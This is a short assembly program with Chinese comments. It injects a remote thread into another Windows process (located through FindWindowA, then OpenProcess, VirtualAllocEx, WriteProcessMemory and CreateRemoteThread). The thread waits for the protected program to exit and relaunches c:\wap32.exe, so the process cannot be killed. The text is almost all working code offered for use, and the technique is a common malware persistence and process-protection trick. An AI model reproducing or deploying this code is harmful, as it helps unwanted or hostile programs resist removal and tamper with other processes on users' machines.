此段程序采用公开的 Win2k注射远程线程，来保护指定进程始终处于运行状态。
生成wap32.exe拷贝到c:\下运行，则Wap32进程不死。
include Win32.inc
.386
.model flat,stdcall
.data
Protect2kProc proc ProcID: dword
call GetKnlOpenProcess
KnlOpenProcess dd ?
GetKnlOpenProcess:
pop eax
call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID
or eax,eax
jz short ExitProtectProc
mov ebx,eax
call GetKnlWaitForSingleObject
KnlWaitForSingleObject dd ?
GetKnlWaitForSingleObject:
pop eax
call [eax],ebx,-1h
call GetFileNameAddress
GetFileNameAddress:
pop ecx
add ecx,offset FileName-offset GetFileNameAddress
call GetKnlWinExec
KnlWinExec dd ?
GetKnlWinExec:
pop eax
call [eax],ecx,01
ExitProtectProc:
ret
Protect2kProc endp
FileName db 'c:\wap32.exe',0
KnlOpenProcessStr db 'OpenProcess',0
KnlWaitForObjectStr db 'WaitForSingleObject',0
KnlWinExecStr db 'WinExec',0
.code
extrn GetProcAddress: proc
extrn OpenProcess: proc
extrn FindWindowA: proc
extrn GetWindowThreadProcessId: proc
extrn VirtualAllocEx: proc
extrn VirtualFreeEx: proc
extrn WriteProcessMemory: proc
extrn GetCurrentProcessId: proc
extrn CreateRemoteThread: proc
extrn GetExitCodeThread: proc
extrn CloseHandle: proc
extrn WinExec: proc
extrn MessageBoxA: proc
extrn Sleep: proc
Start:
call GetProcAddress,077e60000h,offset KnlOpenProcessStr
mov KnlOpenProcess,eax
call GetProcAddress,077e60000h,offset KnlWaitForObjectStr
mov KnlWaitForSingleObject,eax
call GetProcAddress,077e60000h,offset KnlWinExecStr
mov KnlWinExec,eax
call FindWindowA,0,0
push eax
call GetWindowThreadProcessId,eax,esp
call OpenProcess,PROCESS_ALL_ACCESS,FALSE
or eax,eax
jz short OpenProcessError
mov ebx,eax
call VirtualAllocEx,ebx,NULL,1000h,MEM_COMMIT,L 40h
or eax,eax
jz short OpenProcessError
mov edi,eax
push eax
call WriteProcessMemory,ebx,edi,OFF Protect2kProc,1000h,esp
call GetCurrentProcessId
call CreateRemoteThread,ebx,NULL,NULL,edi,eax,NULL,esp
call GetExitCodeThread,eax,esp
pop eax
;call VirtualFreeEx,ebx,edi,1000h,MEM_DECOMMIT
call CloseHandle,ebx
call Sleep,100h
call MessageBoxA,0,offset FileName,offset FileName,0
OpenProcessError:
ret
end Start